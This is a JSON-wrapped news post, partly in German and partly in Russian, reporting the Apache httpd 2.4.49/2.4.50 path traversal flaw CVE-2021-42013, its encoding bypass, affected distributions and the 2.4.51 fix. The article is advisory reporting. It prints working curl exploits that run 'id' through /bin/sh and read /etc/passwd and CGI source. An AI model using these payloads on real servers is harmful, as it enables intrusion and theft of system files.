{"id":101564,"date":"2021-10-08T10:22:44","date_gmt":"2021-10-08T08:22:44","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/eshhyo-odna-uyazvimost-v-apache-httpd-pozvolyayushhaya-obratitsya-za-predely-kornevogo-kataloga-sajta"},"modified":"2021-10-08T10:22:44","modified_gmt":"2021-10-08T08:22:44","slug":"eshhyo-odna-uyazvimost-v-apache-httpd-pozvolyayushhaya-obratitsya-za-predely-kornevogo-kataloga-sajta","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/novosti-interneta\/eshhyo-odna-uyazvimost-v-apache-httpd-pozvolyayushhaya-obratitsya-za-predely-kornevogo-kataloga-sajta","title":{"rendered":"Eine weitere Sicherheitsanf\u00e4lligkeit in Apache httpd, die den Zugriff \u00fcber das Wurzelverzeichnis der Website erm\u00f6glicht.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p>Ein neuer Angriffsvektor auf den Apache HTTP-Server wurde entdeckt, der in der Version 2.4.50 ungepatcht blieb und den Zugriff auf Dateien au\u00dferhalb des Root-Verzeichnisses der Website erm\u00f6glicht. Dar\u00fcber hinaus fanden Forscher einen Weg, der bei bestimmten nicht standardm\u00e4\u00dfigen Einstellungen nicht nur das Lesen von Systemdateien, sondern auch die Fernausf\u00fchrung eigenen Codes auf dem Server zul\u00e4sst. Das Problem tritt nur in den Versionen 2.4.49 und 2.4.50 auf; \u00e4ltere Versionen sind nicht betroffen. Um die neue Schwachstelle zu beheben, wurde umgehend das Update Apache httpd 2.4.51 ver\u00f6ffentlicht.    <\/p>\n<p>\u041f\u043e \u0441\u0432\u043e\u0435\u0439 \u0441\u0443\u0442\u0438 \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 (CVE-2021-42013) \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0430 \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2021-41773) \u0432 2.4.49, \u0440\u0430\u0437\u043d\u0438\u0446\u0430 \u043b\u0438\u0448\u044c \u0432 \u0438\u043d\u043e\u0439 \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 &#171;..&#187;. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 2.4.50 \u0431\u044b\u043b\u0430 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 &#171;%2e&#187; \u0434\u043b\u044f \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0442\u043e\u0447\u043a\u0438, \u043d\u043e \u0443\u043f\u0443\u0449\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0434\u0432\u043e\u0439\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f &#8212; \u043f\u0440\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 &#171;%%32%65&#187; <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/de\/server\/\"   title=\"der Server\" data-wpil-keyword-link=\"linked\">der Server<\/a> \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043b \u0435\u0451 \u0432 &#171;%2e&#187;, \u0430 \u0437\u0430\u0442\u0435\u043c \u0432 &#171;.&#187;, \u0442.\u0435. \u0441\u0438\u043c\u0432\u043e\u043b\u044b &#171;..\/&#187; \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430 \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u043a &#171;.%%32%65\/&#187;.       <\/p>\n<p>Was die Ausnutzung der Schwachstelle durch Codeausf\u00fchrung betrifft, so ist dies m\u00f6glich, wenn mod_cgi aktiviert ist und ein Basisverzeichnis verwendet wird, in dem die Ausf\u00fchrung von CGI-Skripten erlaubt ist (z.B. wenn die Direktive ScriptAlias aktiviert ist oder das Flag ExecCGI in der Direktive Options gesetzt ist). Eine grundlegende Voraussetzung f\u00fcr den erfolgreichen Angriff ist auch, dass in den Apache-Einstellungen expliziter Zugriff auf Verzeichnisse mit ausf\u00fchrbaren Dateien gew\u00e4hrt wird, wie z.B. \/bin, oder Zugriff auf den Wurzeldateispeicher \u201e\/\u201c. Da in der Regel kein solcher Zugriff gew\u00e4hrt wird, ist der Angriff durch Codeausf\u00fchrung in realen Systemen schwer umsetzbar.     <\/p>\n<p>Dabei bleibt die Angriffsmethode zur Erfassung von beliebigen systembezogenen Dateien und Quelltexten von Web-Skripten, die f\u00fcr den Benutzer, unter dem der HTTP-Server l\u00e4uft, lesbar sind, weiterhin relevant. F\u00fcr einen solchen Angriff reicht es aus, dass auf der Website ein Verzeichnis vorhanden ist, das mit den Direktiven \"Alias\" oder \"ScriptAlias\" konfiguriert wurde (DocumentRoot alleine gen\u00fcgt nicht), wie zum Beispiel \"cgi-bin\".    <\/p>\n<p>Beispiel eines Exploits, der die Ausf\u00fchrung des Befehls \"id\" erm\u00f6glicht auf <a class=\"wpil_keyword_link\" href=\"https:\/\/prohoster.info\/de\/server\/dts-newyork\/\"   title=\"Server\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"2678\">Server<\/a>:       curl &#8216;http:\/\/192.168.0.1\/cgi-bin\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/bin\/sh&#8217; &#8212;data &#8216;echo Content-Type: text\/plain; echo; id&#8217;       uid=1(daemon) gid=1(daemon) groups=1(daemon)      <\/p>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \/etc\/passwd \u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 web-\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 (\u0434\u043b\u044f \u043e\u0442\u0434\u0430\u0447\u0438 \u043a\u043e\u0434\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0433\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u043d \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0439 \u0447\u0435\u0440\u0435\u0437 \u0434\u0438\u0440\u0435\u043a\u0442\u0438\u0432\u0443 &#171;Alias&#187; \u043a\u0430\u0442\u0430\u043b\u043e\u0433, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432):       curl &#8216;http:\/\/192.168.0.1\/cgi-bin\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/etc\/passwd&#8217;     curl &#8216;http:\/\/192.168.0.1\/aliaseddir\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/.%%32%65\/usr\/local\/apache2\/cgi-bin\/test.cgi&#8217;      <\/p>\n<p>Das Problem betrifft haupts\u00e4chlich kontinuierlich aktualisierte Distributionen wie Fedora, Arch Linux und Gentoo sowie Ports von FreeBSD. Pakete in den stabilen Zweigen konservativer Server-Distributionen wie Debian, RHEL, Ubuntu und SUSE sind von den Schwachstellen nicht betroffen. Das Problem tritt nicht auf, wenn der Zugriff auf die Verzeichnisse ausdr\u00fccklich durch die Einstellung \u201erequire all denied\u201c verboten ist.<br \/>\n<br \/>Quelle: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/www.opennet.ru\/opennews\/art.shtml?num=55939\">opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041d\u0430\u0439\u0434\u0435\u043d \u043d\u043e\u0432\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 http-\u0441\u0435\u0440\u0432\u0435\u0440 Apache, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0441\u0442\u0430\u043b\u0441\u044f \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 2.4.50 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0438\u0437 \u043e\u0431\u043b\u0430\u0441\u0442\u0435\u0439 \u0432\u043d\u0435 \u043a\u043e\u0440\u043d\u0435\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0441\u0430\u0439\u0442\u0430. \u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u043d\u0430\u0439\u0434\u0435\u043d \u0441\u043f\u043e\u0441\u043e\u0431, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u043d\u043e \u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 2.4.49 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-101564","post","type-post","status-publish","format-standard","hentry","category-novosti-interneta"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.0.1 - aioseo.com -->\n\t<meta name=\"description\" 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